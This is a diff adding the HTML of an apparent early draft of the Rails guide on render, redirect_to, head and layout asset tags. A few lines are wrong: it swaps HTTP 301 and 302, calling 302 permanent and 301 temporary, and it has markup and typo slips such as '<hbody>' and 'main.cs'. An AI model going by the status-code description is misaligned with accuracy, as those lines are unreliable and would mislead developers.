+<h4 id="_rendering_text">2.2.7. Rendering Text</h4>
+<div class="para"><p>You can send plain text - with no markup at all - back to the browser by using the <tt>:text</tt> option to <tt>render</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>text <span style="color: #990000">=></span> <span style="color: #FF0000">"OK"</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.</td>
+</tr></table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">By default, if you use the <tt>:text</tt> option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the <tt>:layout ⇒ true</tt> option</td>
+</tr></table>
+</div>
+<h4 id="_rendering_json">2.2.8. Rendering JSON</h4>
+<div class="para"><p>JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>json <span style="color: #990000">=></span> <span style="color: #009900">@product</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You don't need to call <tt>to_json</tt> on the object that you want to render. If you use the <tt>:json</tt> option, <tt>render</tt> will automatically call <tt>to_json</tt> for you.</td>
+</tr></table>
+</div>
+<h4 id="_rendering_xml">2.2.9. Rendering XML</h4>
+<div class="para"><p>Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>xml <span style="color: #990000">=></span> <span style="color: #009900">@product</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You don't need to call <tt>to_xml</tt> on the object that you want to render. If you use the <tt>:xml</tt> option, <tt>render</tt> will automatically call <tt>to_xml</tt> for you.</td>
+</tr></table>
+</div>
+<h4 id="_options_for_tt_render_tt">2.2.10. Options for <tt>render</tt></h4>
+<div class="para"><p>Calls to the <tt>render</tt> method generally accept four options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:content_type</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:layout</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:status</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:location</tt>
+</p>
+</li>
+</ul></div>
+<h5 id="_the_tt_content_type_tt_option">The <tt>:content_type</tt> Option</h5>
+<div class="para"><p>By default, Rails will serve the results of a rendering operation with the MIME content-type of <tt>text/html</tt> (or <tt>application/json</tt> if you use the <tt>:json</tt> option, or <tt>application/xml</tt> for the <tt>:xml</tt> option.). There are times when you might like to change this, and you can do so by setting the <tt>:content_type</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>file <span style="color: #990000">=></span> filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>content_type <span style="color: #990000">=></span> <span style="color: #FF0000">'application/rss'</span>
+</tt></pre></div></div>
+<h5 id="_the_tt_layout_tt_option">The <tt>:layout</tt> Option</h5>
+<div class="para"><p>With most of the options to <tt>render</tt>, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide. To find the current layout, Rails first looks for a file in <tt>app/views/layouts</tt> with the same base name as the controller. For example, rendering actions from the <tt>PhotosController</tt> class will use <tt>/app/views/layouts/photos.html.erb</tt>. If there is no such controller-specific layout, Rails will use <tt>/app/views/layouts/application.html.erb</tt>.</p></div>
+<div class="para"><p>You can use the <tt>:layout</tt> option to tell Rails to use a specific file as the layout for the current action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>layout <span style="color: #990000">=></span> <span style="color: #FF0000">'special_layout'</span>
+</tt></pre></div></div>
+<div class="para"><p>You can also tell Rails to render with no layout at all:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>layout <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+</tt></pre></div></div>
+<h5 id="_the_tt_status_tt_option">The <tt>:status</tt> Option</h5>
+<div class="para"><p>Rails will automatically generate a response with the correct HTML status code (in most cases, this is <tt>200 OK</tt>). You can use the <tt>:status</tt> option to change this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>status <span style="color: #990000">=></span> <span style="color: #993399">500</span>
+render <span style="color: #990000">:</span>status <span style="color: #990000">=></span> <span style="color: #990000">:</span>forbidden
+</tt></pre></div></div>
+<div class="para"><p>Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in <tt>actionpack/lib/action_controller/status_codes.rb</tt>. You can also see there how it maps symbols to status codes in that file.</p></div>
+<h5 id="_the_tt_location_tt_option">The <tt>:location</tt> Option</h5>
+<div class="para"><p>You can use the <tt>:location</tt> option to set the HTTP <tt>Location</tt> header:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>xml <span style="color: #990000">=></span> photo<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=></span> photo_url<span style="color: #990000">(</span>photo<span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h4 id="_avoiding_double_render_errors">2.2.11. Avoiding Double Render Errors</h4>
+<div class="para"><p>Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that <tt>render</tt> works.</p></div>
+<div class="para"><p>For example, here's some code that will trigger this error:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+ <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>special?
+ render <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"special_show"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If <tt>@book.special?</tt> evaluates to <tt>true</tt>, Rails will start the rendering process to dump the <tt>@book</tt> variable into the <tt>special_show</tt> view. But this will <em>not</em> stop the rest of the code in the <tt>show</tt> action from running, and when Rails hits the end of the action, it will start to render the <tt>show</tt> view - and throw an error. The solution is simple: make sure that you only have one call to <tt>render</tt> or <tt>redirect</tt> in a single code path. One thing that can help is <tt>and return</tt>. Here's a patched version of the method:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+ <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>special?
+ render <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"special_show"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_using_tt_redirect_to_tt">2.3. Using <tt>redirect_to</tt></h3>
+<div class="para"><p>Another way to handle returning responses to a HTTP request is with <tt>redirect_to</tt>. As you've seen, <tt>render</tt> tells Rails which view (or other asset) to use in constructing a response. The <tt>redirect_to</tt> method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>redirect_to photos_path
+</tt></pre></div></div>
+<div class="para"><p>You can use <tt>redirect_to</tt> with any arguments that you could use with <tt>link_to</tt> or <tt>url_for</tt>. In addition, there's a special redirect that sends the user back to the page they just came from:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>redirect_to :back</tt></pre>
+</div></div>
+<h4 id="_getting_a_different_redirect_status_code">2.3.1. Getting a Different Redirect Status Code</h4>
+<div class="para"><p>Rails uses HTTP status code 302 (permanent redirect) when you call <tt>redirect_to</tt>. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the <tt>:status</tt> option:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>redirect_to photos_path, :status => 301</tt></pre>
+</div></div>
+<div class="para"><p>Just like the <tt>:status</tt> option for <tt>render</tt>, <tt>:status</tt> for <tt>redirect_to</tt> accepts both numeric and symbolic header designations.</p></div>
+<h4 id="_the_difference_between_tt_render_tt_and_tt_redirect_tt">2.3.2. The Difference Between <tt>render</tt> and <tt>redirect</tt></h4>
+<div class="para"><p>Sometimes inexperienced developers conceive of <tt>redirect_to</tt> as a sort of <tt>goto</tt> command, moving execution from one place to another in your Rails code. This is <em>not</em> correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back a HTTP 302 status code.</p></div>
+<div class="para"><p>Consider these actions to see the difference:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+ <span style="color: #009900">@books</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+ <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+ render <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"index"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With the code in this form, there will be likely be a problem if the <tt>@book</tt> variable is <tt>nil</tt>. Remember, a <tt>render :action</tt> doesn't run any code in the target action, so nothing will set up the <tt>@books</tt> variable that the <tt>index</tt> view is presumably depending on. One way to fix this is to redirect instead of rendering:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+ <span style="color: #009900">@books</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+ <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+ redirect_to <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"index"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With this code, the browser will make a fresh request for the index page, the code in the <tt>index</tt> method will run, and all will be well.</p></div>
+<h3 id="_using_tt_head_tt_to_build_header_only_responses">2.4. Using <tt>head</tt> To Build Header-Only Responses</h3>
+<div class="para"><p>The <tt>head</tt> method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling <tt>render :nothing</tt>. The <tt>head</tt> method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>head <span style="color: #990000">:</span>bad_request
+</tt></pre></div></div>
+<div class="para"><p>Or you can use other HTTP headers to convey additional information:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>head <span style="color: #990000">:</span>created<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=></span> photo_path<span style="color: #990000">(</span><span style="color: #009900">@photo</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_structuring_layouts">3. Structuring Layouts</h2>
+<div class="sectionbody">
+<div class="para"><p>When Rails renders a view as a response, it does so by combining the view with the current layout. To find the current layout, Rails first looks for a file in <tt>app/views/layouts</tt> with the same base name as the controller. For example, rendering actions from the <tt>PhotosController</tt> class will use <tt>/app/views/layouts/photos.html.erb</tt>. If there is no such controller-specific layout, Rails will use <tt>/app/views/layouts/application.html.erb</tt>. You can also specify a particular layout by using the <tt>:layout</tt> option to <tt>render</tt>.</p></div>
+<div class="para"><p>Within a layout, you have access to three tools for combining different bits of output to form the overall response:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Asset tags
+</p>
+</li>
+<li>
+<p>
+<tt>yield</tt> and <tt>content_for</tt>
+</p>
+</li>
+<li>
+<p>
+Partials
+</p>
+</li>
+</ul></div>
+<div class="para"><p>I'll discuss each of these in turn.</p></div>
+<h3 id="_asset_tags">3.1. Asset Tags</h3>
+<div class="para"><p>Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+auto_discovery_link_tag
+</p>
+</li>
+<li>
+<p>
+javascript_include_tag
+</p>
+</li>
+<li>
+<p>
+stylesheet_link_tag
+</p>
+</li>
+<li>
+<p>
+image_tag
+</p>
+</li>
+</ul></div>
+<div class="para"><p>You can use these tags in layouts or other views, although the tags other than <tt>image_tag</tt> are most commonly used in the <tt><head></tt> section of a layout.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">The asset tags do <em>not</em> verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.</td>
+</tr></table>
+</div>
+<h4 id="_linking_to_feeds_with_tt_auto_discovery_link_tag_tt">3.1.1. Linking to Feeds with <tt>auto_discovery_link_tag</tt></h4>
+<div class="para"><p>The <tt>auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (</tt>:rss+ or <tt>:atom</tt>), a hash of options that are passed through to url_for, and a hash of options for the tag:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= auto_discovery_link_tag(:rss, {:action =></span> <span style="color: #FF0000">"feed"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>title <span style="color: #990000">=></span> <span style="color: #FF0000">"RSS Feed"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span> <span style="color: #990000">%></span>
+</tt></pre></div></div>
+<div class="para"><p>There are three tag options available for <tt>auto_discovery_link_tag</tt>:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:rel</tt> specifies the <tt>rel</tt> value in the link (defaults to "alternate")
+</p>
+</li>
+<li>
+<p>
+<tt>:type</tt> specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically
+</p>
+</li>
+<li>
+<p>
+<tt>:title</tt> specifies the title of the link
+</p>
+</li>
+</ul></div>
+<h4 id="_linking_to_javascript_files_with_tt_javascript_include_tag_tt">3.1.2. Linking to Javascript Files with <tt>javascript_include_tag</tt></h4>
+<div class="para"><p>The <tt>javascript_include_tag</tt> helper returns an HTML <tt><script></tt> tag for each source provided. Rails looks in <tt>public/javascripts</tt> for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include <tt>public/javascripts/main.js</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= javascript_include_tag "main" %></span>
+</tt></pre></div></div>
+<div class="para"><p>To include <tt>public/javascripts/main.js</tt> and <tt>public/javascripts/columns.js</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= javascript_include_tag "main", "columns" %></span>
+</tt></pre></div></div>
+<div class="para"><p>To include <tt>public/javascripts/main.js</tt> and <tt>public/photos/columns.js</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= javascript_include_tag "main", "/photos/columns" %></span>
+</tt></pre></div></div>
+<div class="para"><p>To include <tt>http://example.com/main.js</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= javascript_include_tag "http://example.com/main.js" %></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>defaults</tt> option loads the Prototype and Scriptaculous libraries:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= javascript_include_tag :defaults %></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>all</tt> option loads every javascript file in <tt>public/javascripts</tt>, starting with the Prototype and Scriptaculous libraries:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= javascript_include_tag :all %></span>
+</tt></pre></div></div>
+<div class="para"><p>You can supply the <tt>:recursive</tt> option to load files in subfolders of <tt>public/javascripts</tt> as well:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= javascript_include_tag :all, :recursive %></span>
+</tt></pre></div></div>
+<div class="para"><p>If you're loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache ⇒ true</tt> in your <tt>javascript_include_tag</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= javascript_include_tag "main", "columns", :cache =></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%></span>
+</tt></pre></div></div>
+<div class="para"><p>By default, the combined file will be delivered as <tt>javascripts/all.js</tt>. You can specify a location for the cached asset file instead:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= javascript_include_tag "main", "columns", :cache =></span> <span style="color: #FF0000">'cache/main/display'</span> <span style="color: #990000">%></span>
+</tt></pre></div></div>
+<div class="para"><p></p></div>
+<h4 id="_linking_to_css_files_with_tt_stylesheet_link_tag_tt">3.1.3. Linking to CSS Files with <tt>stylesheet_link_tag</tt></h4>
+<div class="para"><p>The <tt>stylesheet_link_tag</tt> helper returns an HTML <tt><link></tt> tag for each source provided. Rails looks in <tt>public/stylesheets</tt> for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include <tt>public/stylesheets/main.cs</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= stylesheet_link_tag "main" %></span>
+</tt></pre></div></div>
+<div class="para"><p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/stylesheets/columns.css</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= stylesheet_link_tag "main", "columns" %></span>
+</tt></pre></div></div>
+<div class="para"><p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/photos/columns.css</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= stylesheet_link_tag "main", "/photos/columns" %></span>
+</tt></pre></div></div>
+<div class="para"><p>To include <tt>http://example.com/main.cs</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= stylesheet_link_tag "http://example.com/main.cs" %></span>
+</tt></pre></div></div>
+<div class="para"><p>By default, <tt>stylesheet_link_tag</tt> creates links with <tt>media="screen" rel="stylesheet" type="text/css"</tt>. You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= stylesheet_link_tag "main_print", media =></span> <span style="color: #FF0000">"print"</span> <span style="color: #990000">%></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>all</tt> option links every CSS file in <tt>public/stylesheets</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= stylesheet_link_tag :all %></span>
+</tt></pre></div></div>
+<div class="para"><p>You can supply the <tt>:recursive</tt> option to link files in subfolders of <tt>public/stylesheets</tt> as well:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= stylesheet_link_tag :all, :recursive %></span>
+</tt></pre></div></div>
+<div class="para"><p>If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache ⇒ true</tt> in your <tt>stylesheet_link_tag</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= stylesheet_link_tag "main", "columns", :cache =></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%></span>
+</tt></pre></div></div>
+<div class="para"><p>By default, the combined file will be delivered as <tt>stylesheets/all.css</tt>. You can specify a location for the cached asset file instead:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= stylesheet_link_tag "main", "columns", :cache =></span> <span style="color: #FF0000">'cache/main/display'</span> <span style="color: #990000">%></span>
+</tt></pre></div></div>
+<div class="para"><p></p></div>
+<h4 id="_linking_to_images_with_tt_image_tag_tt">3.1.4. Linking to Images with <tt>image_tag</tt></h4>
+<div class="para"><p>The <tt>image_tag</tt> helper builds an HTML <tt><image></tt> tag to the specified file. By default, files are loaded from <tt>public/images</tt>. If you don't specify an extension, .png is assumed by default:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= image_tag "header" %></span>
+</tt></pre></div></div>
+<div class="para"><p>You can supply a path to the image if you like:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= image_tag "icons/delete.gif" %></span>
+</tt></pre></div></div>
+<div class="para"><p>You can supply a hash of additional HTML options:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= image_tag "icons/delete.gif", :height =></span> <span style="color: #993399">45</span> <span style="color: #990000">%></span>
+</tt></pre></div></div>
+<div class="para"><p>There are also three special options you can use with <tt>image_tag</tt>:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:alt</tt> specifies the alt text for the image (which defaults to the file name of the file, capitalized and with no extension)
+</p>
+</li>
+<li>
+<p>
+</p>
+</li>
+<li>
+<p>
+<tt>:mouseover</tt> sets an alternate image to be used when the onmouseover event is fired.
+</p>
+</li>
+</ul></div>
+<h3 id="_understanding_tt_yield_tt">3.2. Understanding <tt>yield</tt></h3>
+<div class="para"><p>Within the context of a layout, <tt>yield</tt> identifies a section where content from the view should be inserted. The simplest way to use this is to have a single <tt>yield</tt>, into which the entire contents of the view currently being rendered is inserted:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF"><html></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><head></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"></head></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><body></span></span>
+ <%= yield %>
+ <span style="font-weight: bold"><span style="color: #0000FF"><hbody></span></span>
